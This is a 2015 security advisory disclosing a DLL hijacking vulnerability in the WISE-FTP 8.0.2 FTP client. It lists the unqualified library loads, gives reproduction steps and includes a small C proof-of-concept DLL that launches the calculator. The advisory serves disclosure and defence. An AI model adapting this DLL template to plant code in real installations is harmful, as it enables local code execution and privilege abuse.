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WISE-FTP Software v8.0.2 - DLL Hijacking Vulnerability



Document Title:
===============
WISE-FTP Software v8.0.2 - DLL Hijacking Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1498


Release Date:
=============
2015-05-18


Vulnerability Laboratory ID (VL-ID):
====================================
1498


Common Vulnerability Scoring System:
====================================
6


Product & Service Introduction:
===============================
WISE-FTP is a FTP client - a software that allows you to connect to any FTP server and download both files and directories up-. With WISE-FTP allows you 
to transfer your files quickly and easily, without requiring detailed knowledge of the functioning of FTP (File Transfer Protocol) are required.

(Copy of the Vendor Homepage: http://www.wise-ftp.de/highlights.htm )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a local dll hijacking vulnerability in the official Wise-FTP v8.0.2 software.


Vulnerability Disclosure Timeline:
==================================
2015-05-18: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
AceBIT GmbH 
Product: Wise-FTP Software 8.0.2


Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
A local dll injection vulnerability has been discovered in the official Wise-FTP v8.0.2 software.
The issue allows local attackers to inject code to vulnerable libraries to compromise the process or to gain higher access privileges.

The windows software is vulnerable to dll hijacking attacks. The vulnerability is located in the Linkinfo.dll , mpr.dll , netutils.dll , secur32.dll , 
wkscli.dll file extensions.  The software does not specify the fully qualified path to a dynamic-linked libraries (Linkinfo.dll , mpr.dll , netutils.dll , 
secur32.dll , wkscli.dll).  The vulnerable version affects the Wise-FTP v8.0.2 software. The security risk of the local file include vulnerability is estimated 
as high with a cvss (common vulnerability scoring system) count of 6.0. 

Vulnerable Software:
[+] Wise-FTP

Vulnerable Version(s):
[+] v8.02

Vulnerable Libraries:
[+] Linkinfo.dll
[+] mpr.dll
[+] netutils.dll
[+] secur32.dll 
[+] wkscli.dll 


Proof of Concept (PoC):
=======================
The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the local vulnerability ...
1. Compile dll and rename to Linkinfo.dll or mpr.dll
2. Copy Linkinfo.dll to C:\Program Files\AceBIT\WISE-FTP 8
3. Launch WISE-FTP 8

PoC: DLL Hijack Exploit
/*
#include <windows.h>
int alpdaemon()
{
  WinExec("calc", SW_SHOW);
  exit(0);
  return 0;
}
 
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  alpdaemon();
  return 0;
}

Video: https://www.youtube.com/watch?v=51OOoJbd8ms


Security Risk:
==============
The security risk of the local dll inject web vulnerability in the wise ftp software is estimated as high. (CVSS 6.0)


Credits & Authors:
==================
metacom


Disclaimer & Information:
=========================
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